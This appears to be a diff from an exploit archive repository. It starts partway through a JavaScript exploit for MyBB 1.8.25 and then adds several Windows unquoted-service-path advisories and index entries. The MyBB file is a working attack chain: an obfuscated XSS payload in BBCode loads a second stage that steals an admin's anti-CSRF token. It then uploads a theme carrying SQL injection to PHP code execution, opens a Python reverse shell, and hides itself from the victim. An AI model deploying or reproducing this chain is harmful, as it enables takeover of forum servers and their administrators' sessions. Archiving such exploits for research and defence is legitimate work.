[img]http://xyzsomething.com/image?)http://x.com/onerror=eval(String.fromCharCode(100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,39,60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,108,111,99,97,108,104,111,115,116,58,56,48,48,48,47,119,111,114,109,46,106,115,62,60,47,115,99,114,105,112,116,62,39,41,59));//[/img]
|
||||
|
||||
5) Send the full vector to the target, either by private message, a post, or any other place where MyCode (BBCode) is supported.
|
||||
Once the target's browser renders the page, the XSS vulnerability will fire and download & execute the second stage payload from the website specified above, using document.write() to 'bypass' SOP.
|
||||
|
||||
After the execution of the payload, you should receive a reverse shell, provided the admin has a valid ACP session.
|
||||
|
||||
6) Enjoy your RCE! For educational purposes only.
|
||||
|
||||
*/
|
||||
|
||||
constREVERSE_SHELL_IP = "localhost";
|
||||
constREVERSE_SHELL_PORT = 5554;
|
||||
|
||||
constPAYLOAD_XML_NAME = "payload";
|
||||
constPAYLOAD_XML_VERSION = "1821";
|
||||
|
||||
constXML_PROLOG = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>";
|
||||
|
||||
constSHELL_PAYLOAD = "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"" + REVERSE_SHELL_IP + "\"," + REVERSE_SHELL_PORT + "));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"
|
||||
constSQL_PAYLOAD = "') AND 1=0 UNION SELECT title, '${passthru(base64_decode(\\'" + btoa(SHELL_PAYLOAD) + "\\'))}' from mybb_templates -- ";
|
||||
|
||||
// Trigger the actual vulnerability, force cache reload.
|
||||
// Stage: Final
|
||||
functiontrigger() {
|
||||
varrequest = newXMLHttpRequest();
|
||||
|
||||
request.open('GET', '/index.php');
|
||||
request.send();
|
||||
}
|
||||
|
||||
// Poison the cache.
|
||||
// Stage: 6
|
||||
functionset_as_default(token, tid) {
|
||||
|
||||
varrequest = newXMLHttpRequest();
|
||||
|
||||
request.open('GET', '/admin/index.php?module=style-themes&action=set_default&tid=' + tid + '&my_post_key=' + token);
|
||||
|
||||
request.onload = function() { trigger(); };
|
||||
|
||||
request.send();
|
||||
}
|
||||
|
||||
// Get the TID of the downloaded theme payload
|
||||
// Stage: 5
|
||||
functionget_payload_tid(token) {
|
||||
varrequest = newXMLHttpRequest();
|
||||
|
||||
request.open('GET', '/admin/index.php?module=style-themes');
|
||||
|
||||
request.responseType = "document";
|
||||
|
||||
request.onload = function() {
|
||||
|
||||
varresponse = request.response;
|
||||
|
||||
varaTags = response.getElementsByTagName("a");
|
||||
varsearchText = "payload";
|
||||
varfound;
|
||||
|
||||
for (vari = 0; i < aTags.length; i++) {
|
||||
if (aTags[i].textContent == searchText) {
|
||||
found = aTags[i];
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
varhref = found.getAttribute("href");
|
||||
|
||||
varurlParams = newURLSearchParams(href);
|
||||
|
||||
vartid = urlParams.get("tid");
|
||||
|
||||
set_as_default(token, tid);
|
||||
};
|
||||
|
||||
request.send();
|
||||
|
||||
}
|
||||
|
||||
// We pass the actual request to upload the template exploiting the second link of the exploit chain
|
||||
// Stage: 4
|
||||
functionupload_template(token) {
|
||||
|
||||
varrequest = newXMLHttpRequest();
|
||||
|
||||
request.open('POST', '/admin/index.php?module=style-themes&action=import');
|
||||
|
||||
vardata = newFormData();
|
||||
|
||||
data.append('my_post_key', token);
|
||||
data.append('local_file', build_payload(), PAYLOAD_XML_NAME + ".xml");
|
||||
data.append('import', 0);
|
||||
data.append('url', '');
|
||||
data.append('tid', '1');
|
||||
data.append('name', "payload");
|
||||
data.append("version_compat", 1);
|
||||
data.append("import_stylesheets", 1);
|
||||
data.append("import_templates", 1);
|
||||
|
||||
request.onload = function() {
|
||||
// After uploading the template, set it as default to poison the cache
|
||||
get_payload_tid(token)
|
||||
};
|
||||
|
||||
request.send(data);
|
||||
}
|
||||
|
||||
// Build the rogue XML Template exploiting SQL Injection leading to RCE through PHP evaluation.
|
||||
// Stage: 3
|
||||
functionbuild_payload() {
|
||||
varxmlDom = document.implementation.createDocument("", "", null);
|
||||
|
||||
vartheme = xmlDom.createElement("theme");
|
||||
theme.setAttribute("name", PAYLOAD_XML_NAME);
|
||||
theme.setAttribute("version", PAYLOAD_XML_VERSION);
|
||||
|
||||
varproperties = xmlDom.createElement("properties");
|
||||
theme.appendChild(properties);
|
||||
|
||||
vartemplate_set = xmlDom.createElement("templateset");
|
||||
template_set.innerHTML = SQL_PAYLOAD;
|
||||
properties.appendChild(template_set);
|
||||
|
||||
xmlDom.appendChild(theme);
|
||||
|
||||
varserialized = newXMLSerializer().serializeToString(xmlDom);
|
||||
|
||||
varresult = XML_PROLOG + serialized;
|
||||
varfile = newFile([result], PAYLOAD_XML_NAME);
|
||||
|
||||
returnfile;
|
||||
}
|
||||
|
||||
// Acquire the anti-CSRF token
|
||||
// Stage: 2
|
||||
functionacquire_token(request) {
|
||||
|
||||
varresponse = request.response;
|
||||
vartoken = response.getElementsByName("my_post_key")[0].value;
|
||||
|
||||
if(token == null) {
|
||||
/* ACP Session either expired or wasn't established to begin with */
|
||||
return;
|
||||
}
|
||||
|
||||
// We have acquired the anti-CSRF token now.
|
||||
upload_template(token);
|
||||
}
|
||||
|
||||
// ACP Code Execution
|
||||
// Stage: 1
|
||||
functionexec_acp() {
|
||||
|
||||
varrequest = newXMLHttpRequest();
|
||||
|
||||
request.open('GET', 'admin/index.php?module=style-themes&action=import');
|
||||
request.responseType = "document";
|
||||
|
||||
request.onload = function() {
|
||||
acquire_token(request);
|
||||
};
|
||||
|
||||
request.send();
|
||||
}
|
||||
|
||||
// We hide the payload, to raise less suspicions
|
||||
// Stage: 0
|
||||
functionhide() {
|
||||
|
||||
vargetAll = document.querySelectorAll("[src*='http://xyzsomething.com/image?)<a href=']");
|
||||
|
||||
getAll.forEach(element=> {
|
||||
varpNode = element.parentNode.innerText="lmao whatever you say";
|
||||
});
|
||||
|
||||
}
|
||||
|
||||
// Entry point of the exploit
|
||||
functionstart() {
|
||||
hide();
|
||||
exec_acp();
|
||||
}
|
||||
|
||||
start();
|
||||
33
exploits/windows/local/49689.txt
Normal file
33
exploits/windows/local/49689.txt
Normal file
|
|
@ -0,0 +1,33 @@
|
|||
# Exploit Title: SAPSetup Automatic Workstation Update Service 750 - 'NWSAPAutoWorkstationUpdateSvc' Unquoted Service Path
|
||||
# Discovery by: Alan Mondragon
|
||||
# Discovery Date: 2021-03-16
|
||||
# Vendor Homepage: https://help.sap.com/
|
||||
# Software Links : https://help.sap.com/
|
||||
# SAP
|
||||
# Tested Version: 750 Final Release
|
||||
# Vulnerability Type: Unquoted Service Path
|
||||
# Tested on OS: Windows 10 Pro 64 bits
|
||||
|
||||
# Step to discover Unquoted Service Path:
|
||||
|
||||
C:\>wmic service get name, displayname, pathname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """
|
||||
SAPSetup Automatic Workstation Update Service NWSAPAutoWorkstationUpdateSvc C:\Program Files (x86)\SAP\SAPsetup\Setup\Updater\NwSapAutoWorkstationUpdateService.exe Auto
|
||||
|
||||
|
||||
C:\>sc qc "NWSAPAutoWorkstationUpdateSvc"
|
||||
[SC] QueryServiceConfig SUCCESS
|
||||
|
||||
SERVICE_NAME: NWSAPAutoWorkstationUpdateSvc
|
||||
TYPE : 10 WIN32_OWN_PROCESS
|
||||
START_TYPE : 2 AUTO_START (DELAYED)
|
||||
ERROR_CONTROL : 1 NORMAL
|
||||
BINARY_PATH_NAME : C:\Program Files (x86)\SAP\SAPsetup\Setup\Updater\NwSapAutoWorkstationUpdateService.exe
|
||||
LOAD_ORDER_GROUP :
|
||||
TAG : 0
|
||||
DISPLAY_NAME : SAPSetup Automatic Workstation Update Service
|
||||
DEPENDENCIES : RPCSS
|
||||
SERVICE_START_NAME : LocalSystem
|
||||
|
||||
#Exploit:
|
||||
|
||||
A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application.
|
||||
33
exploits/windows/local/49690.txt
Normal file
33
exploits/windows/local/49690.txt
Normal file
|
|
@ -0,0 +1,33 @@
|
|||
# Exploit Title: Winpakpro 4.8 - 'GuardTourService' Unquoted Service Path
|
||||
# Discovery by: Alan Mondragon
|
||||
# Discovery Date: 2021-03-16
|
||||
# Vendor Homepage: https://www.security.honeywell.com/product-repository/winpak
|
||||
# Software Links : https://www.security.honeywell.com/product-repository/winpak
|
||||
# WinPackPro
|
||||
# Tested Version: 4.8
|
||||
# Vulnerability Type: Unquoted Service Path
|
||||
# Tested on OS: Windows 10 Pro 64 bits
|
||||
|
||||
# Step to discover Unquoted Service Path:
|
||||
|
||||
C:\WINDOWS\system32>wmic service get name, displayname, pathname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """
|
||||
|
||||
WIN-PAK Guard Tour Server GuardTourService C:\Program Files <x86>\WINPAKPRO\WP GuardTour Service.exe Auto
|
||||
|
||||
C:\Users\jorge.irigoyen>sc qc "GuardTourService"
|
||||
[SC] QueryServiceConfig CORRECTO
|
||||
|
||||
NOMBRE_SERVICIO: CtesDurSvc
|
||||
TIPO : 10 WIN32_OWN_PROCESS
|
||||
TIPO_INICIO : 2 AUTO_START <DELAYED>
|
||||
CONTROL_ERROR : 1 NORMAL
|
||||
NOMBRE_RUTA_BINARIO: C:\Program Files <x86>\WINPAKPRO\WP GuardTour Service.exe
|
||||
GRUPO_ORDEN_CARGA :
|
||||
ETIQUETA : 0
|
||||
NOMBRE_MOSTRAR : WIN-PAK Guard Tour Server
|
||||
DEPENDENCIAS : WPDatabaseService
|
||||
NOMBRE_INICIO_SERVICIO: LocalSystem
|
||||
|
||||
#Exploit:
|
||||
|
||||
A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application.
|
||||
33
exploits/windows/local/49691.txt
Normal file
33
exploits/windows/local/49691.txt
Normal file
|
|
@ -0,0 +1,33 @@
|
|||
# Exploit Title: Winpakpro 4.8 - 'ScheduleService' Unquoted Service Path
|
||||
# Discovery by: Alan Mondragon
|
||||
# Discovery Date: 2021-03-16
|
||||
# Vendor Homepage: https://www.security.honeywell.com/product-repository/winpak
|
||||
# Software Links : https://www.security.honeywell.com/product-repository/winpak
|
||||
# WinPackPro
|
||||
# Tested Version: 4.8
|
||||
# Vulnerability Type: Unquoted Service Path
|
||||
# Tested on OS: Windows 10 Pro 64 bits
|
||||
|
||||
# Step to discover Unquoted Service Path:
|
||||
|
||||
C:\WINDOWS\system32>wmic service get name, displayname, pathname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """
|
||||
|
||||
WIN-PAK ScheduleService ScheduleService C:\Program Files <x86>\WINPAKPRO\ScheduleService Service.exe Auto
|
||||
|
||||
C:\Users\jorge.irigoyen>sc qc "ScheduleService"
|
||||
[SC] QueryServiceConfig CORRECTO
|
||||
|
||||
NOMBRE_SERVICIO: CtesDurSvc
|
||||
TIPO : 10 WIN32_OWN_PROCESS
|
||||
TIPO_INICIO : 2 AUTO_START <DELAYED>
|
||||
CONTROL_ERROR : 1 NORMAL
|
||||
NOMBRE_RUTA_BINARIO: C:\Program Files <x86>\WINPAKPRO\ScheduleService Service.exe
|
||||
GRUPO_ORDEN_CARGA :
|
||||
ETIQUETA : 0
|
||||
NOMBRE_MOSTRAR : WIN-PAK Schedule Service
|
||||
DEPENDENCIAS : WPDatabaseService
|
||||
NOMBRE_INICIO_SERVICIO: LocalSystem
|
||||
|
||||
#Exploit:
|
||||
|
||||
A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application.
|
||||
33
exploits/windows/local/49692.txt
Normal file
33
exploits/windows/local/49692.txt
Normal file
|
|
@ -0,0 +1,33 @@
|
|||
# Exploit Title: Winpakpro 4.8 - 'WPCommandFileService' Unquoted Service Path
|
||||
# Discovery by: Alan Mondragon
|
||||
# Discovery Date: 2021-03-16
|
||||
# Vendor Homepage: https://www.security.honeywell.com/product-repository/winpak
|
||||
# Software Links : https://www.security.honeywell.com/product-repository/winpak
|
||||
# WinPackPro
|
||||
# Tested Version: 4.8
|
||||
# Vulnerability Type: Unquoted Service Path
|
||||
# Tested on OS: Windows 10 Pro 64 bits
|
||||
|
||||
# Step to discover Unquoted Service Path:
|
||||
|
||||
C:\WINDOWS\system32>wmic service get name, displayname, pathname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """
|
||||
|
||||
WIN-PAK WPCommandFileService WPCommandFileService C:\Program Files <x86>\WINPAKPRO\WPCommandFileService Service.exe Auto
|
||||
|
||||
C:\Users\jorge.irigoyen>sc qc "WPCommandFileService"
|
||||
[SC] QueryServiceConfig CORRECTO
|
||||
|
||||
NOMBRE_SERVICIO: CtesDurSvc
|
||||
TIPO : 10 WIN32_OWN_PROCESS
|
||||
TIPO_INICIO : 2 AUTO_START <DELAYED>
|
||||
CONTROL_ERROR : 1 NORMAL
|
||||
NOMBRE_RUTA_BINARIO: C:\Program Files <x86>\WINPAKPRO\WPCommandFileService Service.exe
|
||||
GRUPO_ORDEN_CARGA :
|
||||
ETIQUETA : 0
|
||||
NOMBRE_MOSTRAR : WIN-PAK Command File Service
|
||||
DEPENDENCIAS : WPDatabaseService
|
||||
NOMBRE_INICIO_SERVICIO: LocalSystem
|
||||
|
||||
#Exploit:
|
||||
|
||||
A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application.
|
||||
28
exploits/windows/local/49694.txt
Normal file
28
exploits/windows/local/49694.txt
Normal file
|
|
@ -0,0 +1,28 @@
|
|||
# Exploit Title: MacPaw Encrypto 1.0.1 - 'Encrypto Service' Unquoted Service Path
|
||||
# Discovery by: Ismael Nava
|
||||
# Discovery Date: 03-19-2020
|
||||
# Vendor Homepage: https://macpaw.com/encrypto
|
||||
# Software Links : https://dl.devmate.com/com.macpaw.win.Encrypto/EncryptoforWin.exe?cid=78456412.1616181092
|
||||
# Tested Version: 1.0.1
|
||||
# Vulnerability Type: Unquoted Service Path
|
||||
# Tested on OS: Windows 10 64 bits
|
||||
|
||||
# Step to discover Unquoted Service Path:
|
||||
|
||||
C:\>wmic service get name, displayname, pathname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" |findstr /i /v """
|
||||
Encrypto Service Encrypto.Service C:\Program Files\Encrypto\Encrypto.Service.exe Auto
|
||||
|
||||
|
||||
C:\>sc qc "Encrypto.Service"
|
||||
[SC] QueryServiceConfig CORRECTO
|
||||
|
||||
NOMBRE_SERVICIO: Encrypto.Service
|
||||
TIPO : 10 WIN32_OWN_PROCESS
|
||||
TIPO_INICIO : 2 AUTO_START (DELAYED)
|
||||
CONTROL_ERROR : 1 NORMAL
|
||||
NOMBRE_RUTA_BINARIO: C:\Program Files\Encrypto\Encrypto.Service.exe
|
||||
GRUPO_ORDEN_CARGA :
|
||||
ETIQUETA : 0
|
||||
NOMBRE_MOSTRAR : Encrypto Service
|
||||
DEPENDENCIAS :
|
||||
NOMBRE_INICIO_SERVICIO: LocalSystem
|
||||
26
exploits/windows/local/49698.txt
Normal file
26
exploits/windows/local/49698.txt
Normal file
|
|
@ -0,0 +1,26 @@
|
|||
# Exploit Title: OSAS Traverse Extension 11 - 'travextensionhostsvc' Unquoted Service Path
|
||||
# Exploit Auth: Tech Johnny
|
||||
# Vendor Homepage: https://www.osas.com
|
||||
# Version: 11 x86
|
||||
# Tested on: Windows 2012R2
|
||||
|
||||
Details:
|
||||
|
||||
C:\Windows\system32>wmic service get name, pathname, displayname,
|
||||
startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr
|
||||
/i /v """
|
||||
|
||||
TRAVERSE Automation Service TravExtensionHostSvc C:\Program Files\Open
|
||||
Systems, Inc\TRAVERSE\TRAVERSE.Host.CustomExtensions.exe Auto
|
||||
|
||||
C:\Windows\system32>sc.exe qc travextensionhostsvc
|
||||
[SC] QueryServiceConfig SUCCESS
|
||||
SERVICE_NAME: travextensionhostsvc
|
||||
TYPE : 10 WIN32_OWN_PROCESS
|
||||
START_TYPE : 2 AUTO_START (DELAYED)
|
||||
ERROR_CONTROL : 1 NORMAL
|
||||
BINARY_PATH_NAME : C:\Program Files\Open Systems,Inc\TRAVERSE\TRAVERSE.Host.CustomExtensions.exe
|
||||
LOAD_ORDER_GROUP : TAG : 0
|
||||
DISPLAY_NAME : TRAVERSE Automation Service
|
||||
DEPENDENCIES :
|
||||
SERVICE_START_NAME : LocalSystem
|
||||
|
|
@ -6775,6 +6775,7 @@ id,file,description,date,author,type,platform,port
|
|||
49568,exploits/windows/dos/49568.txt,"Nsauditor 3.2.2.0 - 'Event Description' Denial of Service (PoC)",2021-02-16,"Ismael Nava",dos,windows,
|
||||
49638,exploits/windows/dos/49638.py,"Nsasoft Hardware Software Inventory 1.6.4.0 - 'multiple' Denial of Service (PoC)",2021-03-11,"Enes Özeser",dos,windows,
|
||||
49685,exploits/hardware/dos/49685.txt,"KZTech/JatonTec/Neotel JT3500V 4G LTE CPE 2.0.1 - Device Reboot (Unauthenticated)",2021-03-19,LiquidWorm,dos,hardware,
|
||||
49697,exploits/multiple/dos/49697.py,"ProFTPD 1.3.7a - Remote Denial of Service",2021-03-22,xynmaps,dos,multiple,
|
||||
3,exploits/linux/local/3.c,"Linux Kernel 2.2.x/2.4.x (RedHat) - 'ptrace/kmod' Local Privilege Escalation",2003-03-30,"Wojciech Purczynski",local,linux,
|
||||
4,exploits/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Local Buffer Overflow",2003-04-01,Andi,local,solaris,
|
||||
12,exploits/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,local,linux,
|
||||
|
|
@ -11297,6 +11298,12 @@ id,file,description,date,author,type,platform,port
|
|||
49673,exploits/windows/local/49673.txt,"Eclipse Mosquitto MQTT broker 2.0.9 - 'mosquitto' Unquoted Service Path",2021-03-19,"Riadh Bouchahoua",local,windows,
|
||||
49678,exploits/windows/local/49678.txt,"SOYAL 701 Server 9.0.1 - Insecure Permissions",2021-03-19,LiquidWorm,local,windows,
|
||||
49679,exploits/windows/local/49679.txt,"SOYAL 701 Client 9.0.1 - Insecure Permissions",2021-03-19,LiquidWorm,local,windows,
|
||||
49689,exploits/windows/local/49689.txt,"SAPSetup Automatic Workstation Update Service 750 - 'NWSAPAutoWorkstationUpdateSvc' Unquoted Service Path",2021-03-22,"Alan Mondragon",local,windows,
|
||||
49690,exploits/windows/local/49690.txt,"Winpakpro 4.8 - 'GuardTourService' Unquoted Service Path",2021-03-22,"Alan Mondragon",local,windows,
|
||||
49691,exploits/windows/local/49691.txt,"Winpakpro 4.8 - 'ScheduleService' Unquoted Service Path",2021-03-22,"Alan Mondragon",local,windows,
|
||||
49692,exploits/windows/local/49692.txt,"Winpakpro 4.8 - 'WPCommandFileService' Unquoted Service Path",2021-03-22,"Alan Mondragon",local,windows,
|
||||
49694,exploits/windows/local/49694.txt,"MacPaw Encrypto 1.0.1 - 'Encrypto Service' Unquoted Service Path",2021-03-22,"Ismael Nava",local,windows,
|
||||
49698,exploits/windows/local/49698.txt,"OSAS Traverse Extension 11 - 'travextensionhostsvc' Unquoted Service Path",2021-03-22,"Johnny Tech",local,windows,
|
||||
1,exploits/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Overflow",2003-03-23,kralor,remote,windows,80
|
||||
2,exploits/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote",2003-03-24,RoMaNSoFt,remote,windows,80
|
||||
5,exploits/windows/remote/5.c,"Microsoft Windows 2000/NT 4 - RPC Locator Service Remote Overflow",2003-04-03,"Marcin Wolak",remote,windows,139
|
||||
|
|
@ -18419,6 +18426,7 @@ id,file,description,date,author,type,platform,port
|
|||
49629,exploits/windows/remote/49629.py,"Golden FTP Server 4.70 - 'PASS' Buffer Overflow (2)",2021-03-09,1F98D,remote,windows,
|
||||
49663,exploits/windows/remote/49663.py,"Microsoft Exchange 2019 - SSRF to Arbitrary File Write (Proxylogon)",2021-03-14,F5,remote,windows,
|
||||
49682,exploits/hardware/remote/49682.txt,"KZTech/JatonTec/Neotel JT3500V 4G LTE CPE 2.0.1 - Hard coded Credentials Shell Access",2021-03-19,LiquidWorm,remote,hardware,
|
||||
49695,exploits/hardware/remote/49695.txt,"KZTech/JatonTec/Neotel JT3500V 4G LTE CPE 2.0.1 - Weak Default WiFi Password Algorithm",2021-03-22,LiquidWorm,remote,hardware,
|
||||
6,exploits/php/webapps/6.php,"WordPress Core 2.0.2 - 'cache' Remote Shell Injection",2006-05-25,rgod,webapps,php,
|
||||
44,exploits/php/webapps/44.pl,"phpBB 2.0.5 - SQL Injection Password Disclosure",2003-06-20,"Rick Patel",webapps,php,
|
||||
47,exploits/php/webapps/47.c,"phpBB 2.0.4 - PHP Remote File Inclusion",2003-06-30,Spoofed,webapps,php,
|
||||
|
|
@ -43870,4 +43878,6 @@ id,file,description,date,author,type,platform,port
|
|||
49686,exploits/hardware/webapps/49686.txt,"KZTech/JatonTec/Neotel JT3500V 4G LTE CPE 2.0.1 - Config Download (Unauthenticated)",2021-03-19,LiquidWorm,webapps,hardware,
|
||||
49687,exploits/php/webapps/49687.txt,"Online News Portal 1.0 - 'name' SQL Injection",2021-03-19,"Richard Jones",webapps,php,
|
||||
49688,exploits/php/webapps/49688.txt,"Online News Portal 1.0 - 'Multiple' Stored Cross-Site Scripting",2021-03-19,"Richard Jones",webapps,php,
|
||||
49693,exploits/php/webapps/49693.php,"WordPress Plugin Delightful Downloads Jquery File Tree 1.6.6 - Path Traversal",2021-03-22,"Nicholas Ferreira",webapps,php,
|
||||
49696,exploits/php/webapps/49696.js,"MyBB 1.8.25 - Chained Remote Command Execution",2021-03-22,SivertPL,webapps,php,
|
||||
49665,exploits/php/webapps/49665.txt,"rConfig 3.9.6 - Arbitrary File Upload to Remote Code Execution (Authenticated)",2021-03-18,"Murat ŞEKER",webapps,php,
|
||||
|
|
|
|||
|
Can't render this file because it is too large.
|
Loading…
Add table
Reference in a new issue